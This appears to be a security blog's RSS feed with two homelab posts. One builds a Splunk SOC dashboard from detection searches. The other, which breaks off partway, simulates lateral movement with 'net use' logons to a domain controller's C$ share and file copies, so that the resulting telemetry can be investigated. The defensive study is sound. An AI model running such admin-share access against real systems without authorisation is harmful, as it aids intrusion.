<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Citadel Cybersec</title>
    <description>SOC Analyst | Incident Response | Threat Detection | Digital Forensics</description>
    <link>https://citadelcybersec.github.io/</link>
    <atom:link href="https://citadelcybersec.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 15 Jul 2026 08:16:02 +0000</pubDate>
    <lastBuildDate>Wed, 15 Jul 2026 08:16:02 +0000</lastBuildDate>
    <generator>Jekyll v4.4.1</generator>
    
      <item>
        <title>Building a Tier 1 SOC Dashboard in Splunk</title>
        <description>&lt;h1 id=&quot;building-a-tier-1-soc-dashboard-in-splunk&quot;&gt;Building a Tier 1 SOC Dashboard in Splunk&lt;/h1&gt;

&lt;h2 id=&quot;designing-an-operational-monitoring-dashboard-for-authentication-endpoint-network-and-threat-hunting-visibility&quot;&gt;Designing an Operational Monitoring Dashboard for Authentication, Endpoint, Network, and Threat Hunting Visibility&lt;/h2&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;After building my SOC homelab, forwarding logs from Windows endpoints, Active Directory, Sysmon and pfSense into Splunk, I used that data to investigate simulated attacks. Today in my article I will answer a different question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How would I monitor this environment if I were starting a Tier 1 SOC shift?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Searching Splunk manually for every investigation quickly becomes inefficient. Security analysts rely on dashboards to provide an immediate overview of their environment, highlight suspicious activity and identify systems that require further investigation.&lt;/p&gt;

&lt;p&gt;Through this article, I will build a &lt;strong&gt;SOC Overview Dashboard&lt;/strong&gt; in Splunk that brings together authentication events, endpoint telemetry, network activity and threat hunting indicators into a single operational view.&lt;/p&gt;

&lt;p&gt;My goal is to create something that resembles what a junior SOC analyst could realistically use at the beginning of a shift.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;why-soc-dashboards-matter&quot;&gt;Why SOC Dashboards Matter&lt;/h1&gt;

&lt;p&gt;A dashboard should answer a few simple questions within seconds:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Are my systems still sending logs?&lt;/li&gt;
  &lt;li&gt;Is anyone failing to authenticate unusually often?&lt;/li&gt;
  &lt;li&gt;Are endpoints behaving normally?&lt;/li&gt;
  &lt;li&gt;Is there suspicious PowerShell activity?&lt;/li&gt;
  &lt;li&gt;Is network activity consistent with normal behaviour?&lt;/li&gt;
  &lt;li&gt;Does anything require immediate investigation?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The dashboard acts as an &lt;strong&gt;operational starting point&lt;/strong&gt;. It helps analysts identify anomalies before pivoting into detailed searches.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\00.png&quot; alt=&quot;00.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;SOC Overview Dashboard&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;planning-the-dashboard-layout&quot;&gt;Planning the Dashboard Layout&lt;/h1&gt;

&lt;p&gt;Before creating the panels, I identified the questions I wanted the dashboard to answer: I focused on the information a Tier 1 SOC analyst would typically review at the beginning of a shift. Each panel was designed to support a specific monitoring objective or investigation workflow.&lt;/p&gt;

&lt;p&gt;The dashboard contains six major sections:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SOC Health&lt;/li&gt;
  &lt;li&gt;Authentication Monitoring&lt;/li&gt;
  &lt;li&gt;Kerberos Activity&lt;/li&gt;
  &lt;li&gt;Endpoint Activity&lt;/li&gt;
  &lt;li&gt;Network Activity&lt;/li&gt;
  &lt;li&gt;Threat Hunting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of them answers a specific operational question (listed before).&lt;/p&gt;

&lt;p&gt;I also intentionally limited the number of panels. Rather than filling the dashboard with dozens of visualisations, I focused on panels that provide useful information and naturally support investigations.&lt;/p&gt;

&lt;h2 id=&quot;using-a-search-macro&quot;&gt;Using a Search Macro&lt;/h2&gt;

&lt;p&gt;Most dashboard searches begin with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;normalize_soc&lt;/code&gt; macro.&lt;/p&gt;

&lt;p&gt;Rather than repeating the same field transformations in every search, the macro standardises hostnames, account names and other fields before the query runs. This keeps each search shorter, easier to read and ensures every panel works with consistent data.&lt;/p&gt;

&lt;p&gt;The complete macro definition is shown later in this article.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;soc-health&quot;&gt;SOC Health&lt;/h1&gt;

&lt;p&gt;The first thing an analyst should verify is whether telemetry can be trusted. If systems stop sending logs, every other panel becomes unreliable. 
Before trusting any detection or investigation, analysts need confidence that telemetry is being collected consistently. For this reason, the dashboard starts with several health checks. These include:&lt;/p&gt;

&lt;h3 id=&quot;total-events-received&quot;&gt;Total Events Received&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=*
`normalize_soc`
| search host=$host_filter$
| stats count as &quot;Events Received&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;last-event-received-from-each-reporting-host&quot;&gt;Last Event Received from Each Reporting Host&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=*
`normalize_soc`
| search host=$host_filter$
| stats latest(_time) as LastSeen by host
| convert ctime(LastSeen)
| rename host as Host LastSeen as &quot;Last Event Received&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;event-volume-over-time&quot;&gt;Event Volume Over Time&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=*
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;These panels immediately reveal logging failures, disconnected forwarders or sudden drops in telemetry.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\01-SOC.png&quot; alt=&quot;01-SOC.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Section 1: SOC Health&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;authentication-monitoring&quot;&gt;Authentication Monitoring&lt;/h1&gt;

&lt;p&gt;Authentication events often provide the earliest indicators of malicious activity. This section focuses on Windows Security events such as successful logons, failed logons and account targeting. The dashboard includes:&lt;/p&gt;

&lt;h3 id=&quot;failed-logons-over-time&quot;&gt;Failed Logons Over Time&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;accounts-with-most-failed-logons&quot;&gt;Accounts with Most Failed Logons&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats count by Account_Name
| sort -count
| head 10
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;failed-logons-by-source-ip&quot;&gt;Failed Logons by Source IP&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats count by Source_Network_Address
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;A sudden increase in failed authentication attempts against a single account may indicate password spraying, brute-force activity or a misconfigured service account.&lt;/p&gt;

&lt;p&gt;Rather than manually searching for Event ID 4625 every time, the dashboard immediately highlights abnormal authentication activity.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\02-Auth.png&quot; alt=&quot;02-Auth.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Section 2: Authentication Monitoring&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;kerberos-activity&quot;&gt;Kerberos Activity&lt;/h1&gt;

&lt;p&gt;In Active Directory environments, Kerberos authentication generates valuable telemetry that helps analysts understand how users authenticate to services.
Monitoring ticket activity establishes a baseline for normal behaviour and may reveal unusual authentication patterns that deserve investigation. 
The dashboard includes:&lt;/p&gt;

&lt;h3 id=&quot;kerberos-activity-timeline&quot;&gt;Kerberos Activity Timeline&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (EventCode=4768 OR EventCode=4769 OR EventCode=4771)
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count by EventCode
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;top-kerberos-users&quot;&gt;Top Kerberos Users&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (EventCode=4768 OR EventCode=4769)
`normalize_soc`
| search host=$host_filter$
| stats count by Account_Name
| sort -count
| head 10
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;most-requested-services&quot;&gt;Most Requested Services&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4769
`normalize_soc`
| search host=$host_filter$
| stats count by Service_Name
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;administrative-share-access&quot;&gt;Administrative Share Access&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=5140
`normalize_soc`
| stats count by Share_Name Account_Name
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Together, these panels provide a quick overview of authentication activity across the domain and help identify unusual ticket requests or authentication failures.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\03-kerberos.png&quot; alt=&quot;03-kerberos.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Section 3: Kerberos Activity&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;endpoint-activity&quot;&gt;Endpoint Activity&lt;/h1&gt;

&lt;p&gt;Sysmon provides detailed visibility into endpoint behaviour. For this section, I focused on process creation activity because it is one of the most valuable sources during investigations. The dashboard includes:&lt;/p&gt;

&lt;h3 id=&quot;powershell-timeline&quot;&gt;PowerShell Timeline&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1 Image=&quot;*powershell.exe&quot;
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;top-executed-processes&quot;&gt;Top Executed Processes&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| top limit=10 Image
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;rare-processes&quot;&gt;Rare Processes&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| stats count by Image
| where count&amp;lt;3
| sort count
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Although PowerShell is widely used for legitimate administration, it is also one of the most common tools abused by attackers. Monitoring its execution helps identify unusual behaviour that may warrant further investigation.&lt;/p&gt;

&lt;p&gt;Displaying PowerShell activity separately allows analysts to quickly recognise unexpected spikes before examining the underlying commands.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\04-endpoint.png&quot; alt=&quot;04-endpoint.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Section 4: Endpoint Activity&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;network-activity&quot;&gt;Network Activity&lt;/h1&gt;

&lt;p&gt;Network telemetry provides another perspective on endpoint behaviour. Using Sysmon network connection events together with pfSense logs, the dashboard summarises:&lt;/p&gt;

&lt;h3 id=&quot;network-connections-over-time&quot;&gt;Network Connections Over Time&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=3
`normalize_soc`
| timechart span=15m count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;top-destination-ip-addresses&quot;&gt;Top Destination IP Addresses&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=3
`normalize_soc`
| search host=$host_filter$
| stats count by DestinationIp
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;connections-to-domain-controller&quot;&gt;Connections to Domain Controller&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=3 DestinationIp=192.168.10.10
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;top-communication-pairs&quot;&gt;Top Communication Pairs&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=3
`normalize_soc`
| search host=$host_filter$
| stats count by SourceIp DestinationIp
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;account-and-source-ip&quot;&gt;Account and Source IP&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4624 Logon_Type=3
`normalize_soc`
| search host=$host_filter$
| stats count by Account_Name Source_Network_Address
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;These visualisations help identify unusual communication patterns, reconnaissance activity and unexpected workstation connections.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\05-network.png&quot; alt=&quot;05-network.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Section 5: Network Activity&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;threat-hunting-views&quot;&gt;Threat Hunting Views&lt;/h1&gt;

&lt;p&gt;Rather than limiting the dashboard to monitoring, I also wanted several panels that encourage proactive investigation.
These include:&lt;/p&gt;

&lt;h3 id=&quot;accounts-targeted-from-multiple-source-ips&quot;&gt;Accounts Targeted from Multiple Source IPs&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats dc(Source_Network_Address) as UniqueSources count by Account_Name
| where UniqueSources&amp;gt;2
| sort -UniqueSources
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;failed-logons-by-source-host&quot;&gt;Failed Logons by Source Host&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats count by host Source_Network_Address
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;failed-logons-by-logon-type&quot;&gt;Failed Logons by Logon Type&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-**spl**&quot;&gt;index=* 
EventCode=4625 
`normalize_soc` 
| search host=$host_filter$
| stats count by Logon_Type
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;rare-parentchild-process-relationships&quot;&gt;Rare Parent–Child Process Relationships&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| stats count by ParentImage Image
| where count&amp;lt;3
| sort count
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;recently-created-processes&quot;&gt;Recently Created Processes&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| sort -_time
| table _time host User Image CommandLine
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;These panels surface behaviours that deserve analyst attention.
Even in a small lab environment, they demonstrate the thought process behind threat hunting rather than simply counting events.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\06-threat1.png&quot; alt=&quot;06-threat1.png&quot; /&gt;
&lt;img src=&quot;..\assets\images\posts\homelab5\06-threat2.png&quot; alt=&quot;06-threat2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Section 6: Threat Hunting&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;normalising-data-for-accurate-dashboards&quot;&gt;Normalising Data for Accurate Dashboards&lt;/h1&gt;

&lt;p&gt;While building the dashboard, I discovered several inconsistencies that affected the results.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Administrator&lt;/strong&gt; and &lt;strong&gt;administrator&lt;/strong&gt; appeared as different accounts.&lt;/li&gt;
  &lt;li&gt;pfSense appeared as &lt;strong&gt;192.168.10.1&lt;/strong&gt; instead of a hostname.&lt;/li&gt;
  &lt;li&gt;My Domain Controller appeared under both its original hostname and its renamed hostname.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Although these represented the same systems or accounts, Splunk treated them as separate values.
Rather than fixing every dashboard panel individually, I created a reusable search macro that normalises the data before visualisation.&lt;/p&gt;

&lt;p&gt;The macro performs tasks such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Converting account names to lowercase.&lt;/li&gt;
  &lt;li&gt;Replacing legacy hostnames with their current names.&lt;/li&gt;
  &lt;li&gt;Displaying pfSense using a friendly hostname instead of its IP address.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach keeps dashboard searches cleaner while ensuring every panel reports consistent results.
Data normalisation may seem like a small detail, but accurate visualisations depend on accurate data.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;| eval Account_Name=lower(trim(Account_Name))
| eval Source_Name=trim(Source_Name)
| eval Service_Name=trim(Service_Name)
| eval host=trim(host)
| eval host=case(
    host==&quot;192.168.10.1&quot;,&quot;pfSense&quot;,
    host==&quot;WIN-PNR2BHPBOGS&quot;,&quot;SOC-AD1&quot;,
    true(),host)
| eval Source_Name=case(
    Source_Name==&quot;WIN-PNR2BHPBOGS$&quot;,&quot;SOC-AD1$&quot;,
    true(),Source_Name)
| eval Account_Name=case(
    Account_Name==&quot;win-pnr2bhpbogs$&quot;,&quot;soc-ad1$&quot;,
    Account_Name==&quot;win-pnr2bhpbogs$@soc.lab&quot;,&quot;soc-ad1$@soc.lab&quot;,
    true(),Account_Name)
| eval Service_Name=case(
    Service_Name==&quot;WIN-PNR2BHPBOGS$&quot;,&quot;SOC-AD1$&quot;,
    true(),Service_Name)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;

&lt;h1 id=&quot;dashboard-filters-and-drilldowns&quot;&gt;Dashboard Filters and Drilldowns&lt;/h1&gt;

&lt;p&gt;To make the dashboard more useful during investigations, I added several interactive controls.&lt;/p&gt;

&lt;p&gt;The dashboard includes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A global time picker&lt;/li&gt;
  &lt;li&gt;A host selector&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Selecting a specific host automatically updates every panel, allowing investigations to focus on a single endpoint without rewriting searches.&lt;/p&gt;

&lt;p&gt;I also configured drilldowns for several visualisations.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Clicking a targeted user opens the related authentication events.&lt;/li&gt;
  &lt;li&gt;Clicking a destination IP displays the underlying network connections.&lt;/li&gt;
  &lt;li&gt;Clicking a process shows every execution of that process.&lt;/li&gt;
  &lt;li&gt;Clicking a host filters the dashboard to that endpoint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These interactions mirror how analysts pivot between dashboards and raw events during investigations.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\07-drill1.png&quot; alt=&quot;07-drill1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab5\07-drill2.png&quot; alt=&quot;07-drill2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Drilldown example where selecting the wevtutil.exe value sends us to a customized, filtered, detailed search, where we can continue our investigation.&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h1&gt;

&lt;p&gt;Building this dashboard changed how I interact with my homelab. Now, at the beginning of every investigation I have a central operational view that immediately answers the most important questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Are my systems healthy?&lt;/li&gt;
  &lt;li&gt;Is authentication behaving normally?&lt;/li&gt;
  &lt;li&gt;What are my endpoints doing?&lt;/li&gt;
  &lt;li&gt;Is network activity expected?&lt;/li&gt;
  &lt;li&gt;What deserves investigation first?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More importantly, building this dashboard forced me to think more like a SOC analyst responsible for monitoring an environment.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;whats-next&quot;&gt;What’s Next&lt;/h1&gt;

&lt;p&gt;With the dashboard complete, I now have a central view of my environment, but dashboards are only one part of a SOC.&lt;/p&gt;

&lt;p&gt;The next step is to build a simple incident response workflow. Rather than stopping at visualising suspicious activity, I want to focus on managing alerts, enriching them automatically and documenting investigations in a structured way.&lt;/p&gt;

&lt;p&gt;That will be the focus of the next article in this series.&lt;/p&gt;
</description>
        <pubDate>Wed, 08 Jul 2026 05:00:00 +0000</pubDate>
        <link>https://citadelcybersec.github.io/building-a-tier-1-soc-dashboard-in-splunk</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/building-a-tier-1-soc-dashboard-in-splunk</guid>
        
        <category>homelab</category>
        
        <category>soc-lab</category>
        
        <category>cybersecurity-lab</category>
        
        <category>splunk</category>
        
        <category>active-directory</category>
        
        <category>kerberos</category>
        
        <category>detection-engineering</category>
        
        
      </item>
    
      <item>
        <title>Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk</title>
        <description>&lt;h1 id=&quot;investigating-lateral-movement-and-authentication-activity-in-active-directory-using-splunk&quot;&gt;Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk&lt;/h1&gt;

&lt;h2 id=&quot;correlating-authentication-events-kerberos-activity-smb-access-and-blocked-remote-execution-attempts-in-a-hardened-active-directory-lab-environment&quot;&gt;Correlating authentication events, Kerberos activity, SMB access, and blocked remote execution attempts in a hardened Active Directory lab environment&lt;/h2&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Authentication and lateral movement activity are among the most common signals investigated in Security Operations Centers (SOC). While isolated authentication failures or administrative share access may appear benign, correlating authentication sequences with Kerberos activity, SMB access, and endpoint execution attempts can reveal credential misuse and early-stage lateral movement behavior.&lt;/p&gt;

&lt;p&gt;In this investigation, a realistic Active Directory authentication workflow was simulated, including repeated authentication attempts followed by lateral movement techniques. Several remote execution methods were intentionally blocked due to defensive controls in the lab environment.&lt;/p&gt;

&lt;p&gt;The objective of this exercise is not only to simulate attacker behavior, but to demonstrate how SOC analysts can reconstruct intent using telemetry even when execution is prevented.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;environment&quot;&gt;Environment&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;Role&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Windows 11 Workstation&lt;/td&gt;
      &lt;td&gt;User endpoint&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Active Directory Domain Controller&lt;/td&gt;
      &lt;td&gt;Identity &amp;amp; authentication&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sysmon&lt;/td&gt;
      &lt;td&gt;Process and network telemetry&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PowerShell Logging&lt;/td&gt;
      &lt;td&gt;Script visibility&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Splunk&lt;/td&gt;
      &lt;td&gt;Central log correlation&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pfSense&lt;/td&gt;
      &lt;td&gt;Network segmentation and firewall logs&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;1-activity-simulation-attacker-perspective&quot;&gt;1. Activity Simulation (Attacker Perspective)&lt;/h2&gt;

&lt;h3 id=&quot;11-authentication-attempts&quot;&gt;1.1 Authentication Attempts&lt;/h3&gt;

&lt;p&gt;A sequence of authentication attempts was performed against an administrative account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failed authentication attempt&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;net use \\192.168.10.10\C$ /user:soclab\administrator WrongPassword
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Successful authentication attempt&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;net use \\192.168.10.10\C$ /user:soclab\administrator CorrectPassword
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\01.png&quot; alt=&quot;01.png&quot; /&gt;
&lt;img src=&quot;..\assets\images\posts\homelab4\02.png&quot; alt=&quot;02.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Failed logons followed by successful authentication using a privileged account. This sequence is commonly observed during credential validation or password guessing activity.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;12-kerberos-authentication-activity&quot;&gt;1.2 Kerberos Authentication Activity&lt;/h3&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-ChildItem&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\\192.168.10.10\C&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\03.png&quot; alt=&quot;03.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Kerberos authentication confirms the authenticated user can access domain resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;13-administrative-share-access-smb&quot;&gt;1.3 Administrative Share Access (SMB)&lt;/h3&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\\192.168.10.10\C&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Copy-Item&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\test.txt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;\\192.168.10.10\C&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Verbose&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\04.png&quot; alt=&quot;04.png&quot; /&gt;
&lt;img src=&quot;..\assets\images\posts\homelab4\05.png&quot; alt=&quot;05.png&quot; /&gt;
&lt;img src=&quot;..\assets\images\posts\homelab4\06.png&quot; alt=&quot;06.png&quot; /&gt;
&lt;em&gt;Access and file transfer via administrative SMB share (C$), commonly used in both legitimate administration and lateral movement.&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;14-lateral-movement-attempts-blocked-execution-paths&quot;&gt;1.4 Lateral Movement Attempts (Blocked Execution Paths)&lt;/h3&gt;

&lt;p&gt;Multiple lateral movement techniques were attempted against the Domain Controller:&lt;/p&gt;

&lt;h4 id=&quot;powershell-remoting-winrm&quot;&gt;PowerShell Remoting (WinRM)&lt;/h4&gt;

